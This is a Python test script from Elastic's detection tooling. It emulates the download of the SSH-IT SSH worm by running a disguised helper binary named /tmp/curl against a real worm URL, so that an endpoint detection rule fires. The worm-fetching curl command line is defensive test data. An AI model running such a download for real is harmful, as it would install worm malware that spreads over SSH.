# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one # or more contributor license agreements. Licensed under the Elastic License # 2.0; you may not use this file except in compliance with the Elastic License # 2.0. import sys from . import RtaMetadata, common metadata = RtaMetadata( uuid="3ad5efdc-c186-4dbd-b5ce-f8d1f102002c", platforms=["linux"], endpoint=[ { "rule_name": "Potential SSH-IT SSH Worm Downloaded", "rule_id": "cb351778-7329-4de9-82b5-6705f772a3af", }, ], siem=[], techniques=["T1021", "T1563"], ) @common.requires_os(metadata.platforms) def main() -> None: masquerade = "/tmp/curl" source = common.get_path("bin", "linux.ditto_and_spawn") common.copy_file(source, masquerade) # Execute command common.log("Launching fake curl commands to download payload") common.execute([masquerade, "curl", "https://thc.org/ssh-it/x"], timeout=5, kill=True) # cleanup common.remove_file(masquerade) if __name__ == "__main__": sys.exit(main())